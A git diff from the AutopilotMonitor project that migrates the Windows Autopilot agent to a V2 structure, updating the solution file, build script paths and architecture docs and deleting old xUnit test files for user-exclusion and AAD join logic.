diff --git a/AutopilotMonitor.sln b/AutopilotMonitor.sln index e4fe5a91..e5705e25 100644 --- a/AutopilotMonitor.sln +++ b/AutopilotMonitor.sln @@ -11,10 +11,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Shared", " EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Agent", "Agent", "{096B6098-F141-7114-B090-72D1899D8853}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core", "src\Agent\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj", "{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent", "src\Agent\AutopilotMonitor.Agent\AutopilotMonitor.Agent.csproj", "{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}" -EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Backend", "Backend", "{FE360695-3F2B-1049-3887-35FBB5135923}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions", "src\Backend\AutopilotMonitor.Functions\AutopilotMonitor.Functions.csproj", "{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}" @@ -23,8 +19,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions. EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.SummaryDialog", "src\Agent\AutopilotMonitor.SummaryDialog\AutopilotMonitor.SummaryDialog.csproj", "{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core.Tests", "src\Agent\AutopilotMonitor.Agent.Core.Tests\AutopilotMonitor.Agent.Core.Tests.csproj", "{89BDAC07-A666-4708-A9D3-A956A89A4E4D}" -EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.DecisionCore", "src\Shared\AutopilotMonitor.DecisionCore\AutopilotMonitor.DecisionCore.csproj", "{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.V2", "src\Agent\AutopilotMonitor.Agent.V2\AutopilotMonitor.Agent.V2.csproj", "{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054}" @@ -59,30 +53,6 @@ Global {A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x64.Build.0 = Release|Any CPU {A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.ActiveCfg = Release|Any CPU {A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.Build.0 = Release|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.ActiveCfg = Debug|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.Build.0 = Debug|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.ActiveCfg = Debug|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.Build.0 = Debug|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.Build.0 = Release|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.ActiveCfg = Release|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.Build.0 = Release|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.ActiveCfg = Release|Any CPU - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.Build.0 = Release|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.ActiveCfg = Debug|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.Build.0 = Debug|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.ActiveCfg = Debug|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.Build.0 = Debug|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.Build.0 = Release|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.ActiveCfg = Release|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.Build.0 = Release|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.ActiveCfg = Release|Any CPU - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.Build.0 = Release|Any CPU {4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.Build.0 = Debug|Any CPU {4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|x64.ActiveCfg = Debug|Any CPU @@ -119,18 +89,6 @@ Global {B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x64.Build.0 = Release|Any CPU {B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.ActiveCfg = Release|Any CPU {B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.Build.0 = Release|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.ActiveCfg = Debug|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.Build.0 = Debug|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.ActiveCfg = Debug|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.Build.0 = Debug|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.Build.0 = Release|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.ActiveCfg = Release|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.Build.0 = Release|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.ActiveCfg = Release|Any CPU - {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.Build.0 = Release|Any CPU {306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.Build.0 = Debug|Any CPU {306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|x64.ActiveCfg = Debug|Any CPU @@ -211,13 +169,10 @@ Global {C8E42992-5E42-0C2B-DBFE-AA848D06431C} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B} {A54780AA-B9BD-4575-A935-2C3E0296B405} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C} {096B6098-F141-7114-B090-72D1899D8853} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B} - {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B} = {096B6098-F141-7114-B090-72D1899D8853} - {7252A85F-60EC-4CFA-B3A6-A204241FFBBC} = {096B6098-F141-7114-B090-72D1899D8853} {FE360695-3F2B-1049-3887-35FBB5135923} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B} {4BA82F07-39A9-4B80-A12D-3D4E4ACE6682} = {FE360695-3F2B-1049-3887-35FBB5135923} {E3E0A5D8-4899-4F41-9D5F-CB858EF9F091} = {FE360695-3F2B-1049-3887-35FBB5135923} {B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E} = {096B6098-F141-7114-B090-72D1899D8853} - {89BDAC07-A666-4708-A9D3-A956A89A4E4D} = {096B6098-F141-7114-B090-72D1899D8853} {306C580A-0C25-4B4C-90B9-F15D0E0E0DDF} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C} {F9DCEFA0-127B-4E3F-BF52-4680DB4CA054} = {096B6098-F141-7114-B090-72D1899D8853} {22CB0E75-793A-4FC9-ADE4-48580BCE6321} = {096B6098-F141-7114-B090-72D1899D8853} diff --git a/build.ps1 b/build.ps1 index 79b60fb9..8b9632ad 100644 --- a/build.ps1 +++ b/build.ps1 @@ -144,7 +144,7 @@ Write-Host " Build Completed Successfully!" -ForegroundColor Green Write-Host "============================================" -ForegroundColor Cyan Write-Host "" Write-Host "Output locations:" -ForegroundColor White -Write-Host " Agent: src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48\" -ForegroundColor Gray +Write-Host " Agent: src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48\" -ForegroundColor Gray Write-Host " Functions: src\Backend\AutopilotMonitor.Functions\bin\$Configuration\net8.0\" -ForegroundColor Gray if ($IncludeWeb) { @@ -158,9 +158,9 @@ Write-Host " 2. Start Functions: cd src\Backend\AutopilotMonitor.Functions && f if ($IncludeWeb) { Write-Host " 3. Start Web UI: cd src\Web\autopilot-monitor-web && npm run dev" -ForegroundColor Gray - Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray + Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray } else { - Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray + Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray } diff --git a/docs/architecture.md b/docs/architecture.md index 25d7de26..7a7c73d2 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -50,7 +50,7 @@ **Core Data Flow:** ``` -Device (Agent) ──NDJSON+gzip──► Azure Functions ──► Azure Table Storage +Device (Agent) ──JSON telemetry+gzip──► Azure Functions ──► Azure Table Storage │ │ ├── SignalR ─────────►│ │ │ @@ -97,9 +97,10 @@ AutopilotMonitor.sln ├── src/ │ ├── Shared/AutopilotMonitor.Shared/ (netstandard2.0) │ ├── Agent/ -│ │ ├── AutopilotMonitor.Agent/ (net48, Exe – entry point) -│ │ ├── AutopilotMonitor.Agent.Core/ (net48, Lib – core logic) -│ │ ├── AutopilotMonitor.Agent.Core.Tests/ (net48, xUnit – agent unit tests) +│ │ ├── AutopilotMonitor.Agent.V2/ (net48, Exe – entry point; output named AutopilotMonitor.Agent.exe) +│ │ ├── AutopilotMonitor.Agent.V2.Core/ (net48, Lib – core logic) +│ │ ├── AutopilotMonitor.Agent.V2.Core.Tests/ (net48, xUnit – agent unit tests) +│ │ ├── AutopilotMonitor.DecisionCore.Tests/ (net48, xUnit – decision engine tests) │ │ └── AutopilotMonitor.SummaryDialog/ (net48, WPF – enrollment summary UI) │ ├── Backend/ │ │ ├── AutopilotMonitor.Functions/ (net8.0, Azure Functions v4) @@ -122,9 +123,10 @@ AutopilotMonitor.sln **Project References:** ``` -Shared ◄── Agent.Core ◄── Agent - ◄── Agent.Core.Tests - ◄── SummaryDialog +Shared + DecisionCore ◄── Agent.V2.Core ◄── Agent.V2 + ◄── Agent.V2.Core.Tests +Shared + DecisionCore ◄── DecisionCore.Tests +SummaryDialog (standalone; compiled alongside the agent build) Shared ◄── Functions ◄── Functions.Tests Web (independent – communicates via REST + SignalR) ``` @@ -135,7 +137,7 @@ Web (independent – communicates via REST + SignalR) ### Entry Point & Modes -**File:** `src/Agent/AutopilotMonitor.Agent/Program.cs` +**File:** `src/Agent/AutopilotMonitor.Agent.V2/Program.cs` Four execution modes: 1. **Normal mode** (default) – Main enrollment monitoring loop @@ -214,29 +216,30 @@ Each implements `IGatherRuleCollector`: Security enforced by `GatherRuleGuards` (allowed targets) and `DiagnosticsPathGuards` (path validation, respects `UnrestrictedMode`). -### Directory Layout (Agent.Core) +### Directory Layout (Agent.V2.Core) ``` Configuration/ Config loading, remote config service +Diagnostics/ Diagnostics package creation + upload Logging/ AgentLogger (file + optional console) -Monitoring/ -├── Analyzers/ Security checks (LocalAdminAnalyzer, SoftwareInventoryAnalyzer) -├── Collectors/ Data collectors (ESP, Hello, Performance, GatherRules, Diagnostics, Desktop) -│ └── GatherCollectors/ Per-type gather rule collectors -├── Core/ Orchestration (MonitoringService, EventSpool, SessionPersistence, CleanupService) -├── Interop/ P/Invoke declarations (process creation, registry change notifications) -├── Network/ API client, distress/emergency reporters, geo-location, NTP, network metrics -├── Replay/ Log replay for testing/simulation -└── Tracking/ Enrollment state machine, IME parser, script/app tracking, state persistence +Monitoring/ Collectors, trackers, analyzers, gather rule executors +Orchestration/ Decision engine wiring (kernel) +Persistence/ Session/state persistence +Runtime/ Self-updater, lifecycle, watchdog Security/ Certificate helper, enrollment awaiter, hardware info +SignalAdapters/ Raw observations → typed decision signals +Telemetry/ Telemetry item batching + spool +Termination/ Terminal-outcome classification +Transport/ Backend API client (mTLS cert + hardware headers + bootstrap token) ``` +(See `src/Agent/AutopilotMonitor.Agent.V2.Core/README.md` for the authoritative kernel/peripheral map.) ### Event Collection & Upload 1. Collector emits `EnrollmentEvent` → sequence number auto-assigned (thread-safe Interlocked) 2. Event saved to spool as JSON file: `event_{timestamp}_{sequence}.json` 3. FileSystemWatcher triggers debounce timer (configurable `UploadIntervalSeconds`, default 30s) -4. Batch upload: NDJSON + gzip compression, max 100 events per batch +4. Batch upload: JSON `TelemetryItem[]` (Events + Signals + DecisionTransitions) + gzip compression, max 100 events per batch 5. Response handling: `DeviceKillSignal` → self-destruct; `DeviceBlocked` → stop uploads ### Idle Timeout & Lifetime @@ -289,7 +292,7 @@ Registered in this order: | Route | Method | Purpose | |-------|--------|---------| | `/agent/register-session` | POST | Register new enrollment session | -| `/agent/ingest` | POST | Upload events (NDJSON+gzip) | +| `/agent/telemetry` | POST | Upload telemetry batch (Events + Signals + DecisionTransitions, JSON+gzip) | | `/agent/config` | GET | Fetch agent configuration | | `/agent/upload-url` | POST | Get short-lived SAS URL for diagnostics | | `/agent/error` | POST | Report agent errors | @@ -303,7 +306,6 @@ Registered in this order: | `/bootstrap/sessions/{code}` | DELETE | Revoke bootstrap session | | `/bootstrap/validate/{code}` | GET | Validate bootstrap code (public) | | `/bootstrap/register-session` | POST | Register via bootstrap token | -| `/bootstrap/ingest` | POST | Ingest via bootstrap token | | `/bootstrap/config` | POST | Config via bootstrap token | | `/bootstrap/error` | POST | Error report via bootstrap token | @@ -397,7 +399,7 @@ Repository pattern via interfaces in `AutopilotMonitor.Shared/DataAccess/`: ### Event Processing Pipeline ``` -Agent POST /api/agent/ingest (NDJSON+gzip) +Agent POST /api/agent/telemetry (JSON TelemetryItem[] + gzip) │ ├─ SecurityValidator.ValidateRequestAsync() │ ├─ Tenant existence & suspension @@ -409,32 +411,29 @@ Agent POST /api/agent/ingest (NDJSON+gzip) │ ├─ BlockedDeviceService.IsBlockedAsync() → kill/block signal │ - ├─ ParseNdjsonGzipRequest() → decompress + parse events + ├─ Body size cap → TelemetryPayloadParser (route per TelemetryItem.Kind) + │ ├─ Signal → Signals table (+ optional index-reconcile queue) + │ ├─ DecisionTransition → DecisionTransitions table (+ queue) + │ └─ Event → EventIngestProcessor (below) │ - ├─ StampServerFields() → ReceivedAt, TenantId, SessionId + ├─ SessionDeletionGuard → 410 Gone while a cascade owns the session │ - ├─ EventTimestampValidator → clamp/validate timestamps - │ - ├─ TableStorageService.StoreEventsBatchAsync() - │ - ├─ ClassifyEvents() - │ ├─ Extract geo-location - │ ├─ Track app installs → AppInstallSummaries table - │ └─ Detect enrollment completion/failure - │ - ├─ UpdateSessionStatusAsync() → merge session row - │ - ├─ RuleEngine.AnalyzeSessionAsync() (on enrollment end) - │ └─ StoreRuleResultAsync() → RuleResults table - │ - ├─ VulnerabilityCorrelation (on software inventory events) - │ - ├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail) - │ - └─ SignalR broadcasts: - ├─ "eventReceived" → tenant-{tenantId} - ├─ "sessionStatusChanged" → tenant-{tenantId} - └─ "ruleResultReceived" → tenant-{tenantId} + └─ EventIngestProcessor.ProcessEventsAsync() + ├─ StampServerFields() → ReceivedAt, TenantId, SessionId + ├─ EventTimestampValidator → clamp/validate timestamps + ├─ TableStorageService.StoreEventsBatchAsync() + ├─ ClassifyEvents() + │ ├─ Extract geo-location + │ ├─ Track app installs → AppInstallSummaries table + │ └─ Detect enrollment completion/failure + ├─ UpdateSessionStatusAsync() → merge session row + ├─ Analyze-on-enrollment-end queue → RuleEngine → RuleResults table + ├─ Vulnerability-correlate queue (on software inventory events) + ├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail) + └─ SignalR broadcasts: + ├─ "eventReceived" → tenant-{tenantId} + ├─ "sessionStatusChanged" → tenant-{tenantId} + └─ "ruleResultReceived" → tenant-{tenantId} ``` --- @@ -1060,7 +1059,6 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider | `DistressValidationTests` | Distress report validation | | `DistressRateLimitServiceTests` | Distress rate limiting | | `EventTimestampValidationTests` | Timestamp clamping and validation | -| `NdjsonParserTests` | NDJSON parsing | | `BuiltInRulesTests` | Built-in rule logic | | `EndpointPolicyCatalogCompletenessTests` | Ensures every HTTP route has a catalog entry | | `CrossTenantAccessTests` | Validates tenant-scoped endpoints reject cross-tenant access | @@ -1069,20 +1067,9 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider | `AuthFunctionTests` | Auth decision logic (roles, MCP access, bootstrap, auto-admin, preview gates) | | `GetHardwareRejectedFunctionTests` | Hardware rejection aggregation logic | -### Agent Tests (`src/Agent/AutopilotMonitor.Agent.Core.Tests/`) +### Agent Tests (`src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/`, `src/Agent/AutopilotMonitor.DecisionCore.Tests/`) -**Target:** .NET Framework 4.8, xUnit - -| Test File | Coverage | -|-----------|---------| -| `DesktopArrivalDetectorTests` | Desktop arrival detection | -| `DiagnosticsPathGuardsTests` | Path guard validation | -| `GatherRuleGuardsTests` | Gather rule path/target guards | -| `AppPackageStateListTests` | App package state tracking | -| `AppPackageStateTests` | Individual package state machine | -| `CmTraceLogParserTests` | CMTrace log format parsing | -| `EnrollmentStatePersistenceTests` | State file persistence | -| `LogFilePositionTrackerTests` | Log file tail position bookmarking | +**Target:** .NET Framework 4.8, xUnit — cover the V2 agent kernel (decision engine, signal adapters, monitoring, transport) and the shared DecisionCore. --- @@ -1181,7 +1168,8 @@ dotnet build AutopilotMonitor.sln --nologo -v quiet dotnet test src/Backend/AutopilotMonitor.Functions.Tests/ # Agent tests -dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/ +dotnet test src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/ +dotnet test src/Agent/AutopilotMonitor.DecisionCore.Tests/ # Web frontend cd src/Web/autopilot-monitor-web diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj b/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj deleted file mode 100644 index 56bf6fd0..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj +++ /dev/null @@ -1,28 +0,0 @@ - - - - net48 - latest - false - - - - - - - - - - - - runtime; build; native; contentfiles; analyzers; buildtransitive - all - - - - - - - - - diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinInfoTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinInfoTests.cs deleted file mode 100644 index 78bfeeef..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinInfoTests.cs +++ /dev/null @@ -1,40 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - public class AadJoinInfoTests - { - [Theory] - [InlineData("foouser@contoso.onmicrosoft.com", true)] - [InlineData("FOOUSER@CONTOSO.onmicrosoft.com", true)] - [InlineData("FooUser@tenant.com", true)] - [InlineData("autopilot@contoso.onmicrosoft.com", true)] - [InlineData("AutoPilot@tenant.com", true)] - [InlineData("AUTOPILOT@xyz.com", true)] - public void IsPlaceholderUserEmail_KnownPatterns_ReturnsTrue(string email, bool expected) - { - Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email)); - } - - [Theory] - [InlineData("alice@contoso.onmicrosoft.com")] - [InlineData("bob.smith@company.com")] - [InlineData("foo@bar.com")] - [InlineData("autopilotadmin@company.com")] - [InlineData("myfoouser@company.com")] - public void IsPlaceholderUserEmail_RealEmails_ReturnsFalse(string email) - { - Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email)); - } - - [Theory] - [InlineData(null)] - [InlineData("")] - [InlineData(" ")] - public void IsPlaceholderUserEmail_NullOrEmpty_ReturnsFalse(string email) - { - Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email)); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinWatcherTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinWatcherTests.cs deleted file mode 100644 index cb8c880f..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinWatcherTests.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System; -using System.Threading; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using Microsoft.Win32; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Integration-style tests for . - /// Uses a temporary HKCU sub-key because the production path is under HKLM\SYSTEM which - /// requires admin privileges. The watcher implementation reads HKLM, so these tests - /// instead assert the observable semantics of - /// and end-to-end placeholder / real-user classification behaviour of the watcher's - /// decision code path that is testable without HKLM writes. - /// - /// The full RegNotifyChangeKeyValue flow is validated by the manual syntetic test in - /// the verification section of the plan — it requires a test VM with elevated rights. - /// - public class AadJoinWatcherTests - { - [Fact] - public void Constructor_NullLogger_Throws() - { - Assert.Throws(() => new AadJoinWatcher(null)); - } - - [Fact] - public void Start_MissingRootKey_ArmsRetryTimer_DoesNotThrow() - { - // Running tests under a normal user cannot write HKLM — but Start() must - // gracefully fall back to the retry timer without throwing. - var logger = TestLogger.Instance; - using (var watcher = new AadJoinWatcher(logger)) - { - watcher.Start(); - - // Give the retry timer one tick — we expect no crash, no events. - Thread.Sleep(250); - - bool placeholderFired = false; - bool realUserFired = false; - watcher.PlaceholderUserDetected += (s, e) => placeholderFired = true; - watcher.AadUserJoined += (s, e) => realUserFired = true; - - Thread.Sleep(250); - - Assert.False(placeholderFired); - Assert.False(realUserFired); - } - } - - [Fact] - public void Stop_IsIdempotent_MultipleCallsDoNotThrow() - { - var logger = TestLogger.Instance; - var watcher = new AadJoinWatcher(logger); - watcher.Start(); - watcher.Stop(); - watcher.Stop(); // idempotent - watcher.Dispose(); - watcher.Dispose(); // idempotent - } - - [Fact] - public void Dispose_AfterStart_StopsCleanly() - { - var logger = TestLogger.Instance; - var watcher = new AadJoinWatcher(logger); - watcher.Start(); - watcher.Dispose(); - - // After Dispose a further Start must throw - Assert.Throws(() => watcher.Start()); - } - - // Delegate to AadJoinInfo-level tests for placeholder-pattern recognition — same - // code path as the watcher uses internally. - [Theory] - [InlineData("foouser@tenant.onmicrosoft.com", true)] - [InlineData("FOOUSER@foo.com", true)] - [InlineData("autopilot@tenant.com", true)] - [InlineData("AutoPilot@tenant.com", true)] - [InlineData("alice@contoso.com", false)] - [InlineData("myfoouser@contoso.com", false)] - [InlineData("", false)] - [InlineData(null, false)] - public void PlaceholderEmailClassification_MatchesAadJoinInfoRule(string email, bool expected) - { - Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email)); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs deleted file mode 100644 index 7fa80328..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs +++ /dev/null @@ -1,132 +0,0 @@ -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests user exclusion logic for desktop arrival detection. - /// Prevents: SYSTEM/service account explorer.exe triggering false desktop arrival, - /// real users being incorrectly filtered. - /// - public class DesktopArrivalDetectorTests - { - // -- System and service accounts must be excluded -- - - [Fact] - public void IsExcludedUser_System_True() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM")); - } - - [Fact] - public void IsExcludedUser_DomainBackslashSystem_True() - { - // Domain prefix must be stripped before checking - Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\SYSTEM")); - } - - [Fact] - public void IsExcludedUser_LocalService_True() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("LOCAL SERVICE")); - Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\LOCAL SERVICE")); - } - - [Fact] - public void IsExcludedUser_NetworkService_True() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("NETWORK SERVICE")); - Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\NETWORK SERVICE")); - } - - // -- DefaultUser* pattern (OOBE temp accounts) -- - - [Fact] - public void IsExcludedUser_DefaultUser0_True() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0")); - } - - [Fact] - public void IsExcludedUser_DefaultUser1_True() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser1")); - } - - [Fact] - public void IsExcludedUser_DefaultUserAnyNumber_True() - { - // StartsWith("DefaultUser") should match any suffix - Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser99")); - } - - [Fact] - public void IsExcludedUser_DefaultUser_CaseInsensitive() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("DEFAULTUSER0")); - Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0")); - } - - // -- Real users must NOT be excluded -- - - [Fact] - public void IsExcludedUser_RealUser_False() - { - Assert.False(DesktopArrivalDetector.IsExcludedUser(@"CONTOSO\john.doe")); - } - - [Fact] - public void IsExcludedUser_LocalRealUser_False() - { - Assert.False(DesktopArrivalDetector.IsExcludedUser("johndoe")); - } - - [Fact] - public void IsExcludedUser_AzureAdUser_False() - { - Assert.False(DesktopArrivalDetector.IsExcludedUser(@"AzureAD\user@contoso.com")); - } - - // -- Edge cases (fail-safe) -- - - [Fact] - public void IsExcludedUser_Null_True() - { - // Null/empty must be excluded (fail-safe — no user = not a real user) - Assert.True(DesktopArrivalDetector.IsExcludedUser(null)); - } - - [Fact] - public void IsExcludedUser_Empty_True() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("")); - } - - [Fact] - public void IsExcludedUser_SystemCaseInsensitive() - { - Assert.True(DesktopArrivalDetector.IsExcludedUser("system")); - Assert.True(DesktopArrivalDetector.IsExcludedUser("System")); - Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM")); - } - - [Fact] - public void IsExcludedUser_BackslashAtEnd_ExtractsEmpty() - { - // Trailing backslash: "DOMAIN\" → empty username after split - // Should be excluded (empty = fail-safe) - // Note: LastIndexOf finds \, substring after is empty - // But the code checks backslashIndex < fullUserName.Length - 1 - // so "DOMAIN\" with backslash at last position would keep the full string - var result = DesktopArrivalDetector.IsExcludedUser(@"DOMAIN\"); - // The method keeps "DOMAIN\" as the full name since backslash is at last position - // This won't match any excluded name, so it returns false (treated as unknown user) - // This is acceptable — WMI won't return "DOMAIN\" for a real process - Assert.False(result); - } - } -} diff --git 